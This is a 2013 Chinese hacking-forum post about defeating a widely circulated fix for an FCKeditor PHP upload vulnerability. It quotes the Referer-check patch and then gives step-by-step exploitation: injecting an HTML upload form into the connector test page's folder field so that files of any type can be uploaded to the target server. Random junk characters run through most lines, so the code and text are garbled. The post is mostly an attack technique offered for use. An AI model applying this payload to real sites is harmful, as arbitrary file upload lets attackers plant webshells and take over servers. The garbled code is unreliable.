找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2272|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php1 S' Q% r9 ?. v+ N5 [
网上给出的修复方案是* }0 O+ \$ n- X% q
修复方法,删除FCK编辑器用其他的编辑器
7 [3 j) U' W2 V5 s9 ?3 M或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件* u1 E9 \7 l, d8 O3 N6 r
$ e# R- P: x1 c$ l; R
require(‘config.php’);
. m' x4 x, \9 ~( m; f5 C4 n, Grequire(‘util.php’);, ]. \3 Z7 l" M1 d9 C9 k. f
的下面添加以下代码—————————–
, |# h) {, B: w$ \/ i8 T' t//防止外部提交5 o$ P# W: o7 ]+ l. L( a! f
function outsidepost(), J; a3 d6 m  V$ E
{
: y' k( a" l0 l7 \6 K7 a5 J$servername=$_SERVER['SERVER_NAME'];
9 I3 X, j- v+ U# e, ^- `) j$sub_from=@$_SERVER['HTTP_REFERER'];5 m+ t# j3 j9 t; f0 A4 l
$sub_len=strlen($servername);
8 W+ D% H" D9 j1 E$checkfrom=substr($sub_from,7,$sub_len);$ j- z3 c( U6 a% l
if($checkfrom!=$servername){
6 _& `: |3 R  T3 w$ _echo(“you don’t outsidepost!”);/ h, `+ w$ S9 y1 J. I
exit;1 ?7 s! f( T1 \9 g8 p
}
+ e; n0 S+ b. ?) R9 z}$ d7 k8 i! _8 D1 `( u
outsidepost();4 t. r) q; W+ ?: a: o% h- Q
防止外部提交,但是没有防止内部提交,. r8 F- X" H: s! G# a
利用方法:! W$ r  S4 Z6 ^& Y$ Z# x, @9 G
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html+ _. x5 X: k9 f8 ]2 b' j
2,在Current Folder 框输入
  a+ h+ ]6 _2 ?! Q+ R' a<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>" \- V# Y0 {6 P; R
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
- s) ]0 c! {) P2 T2 _PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表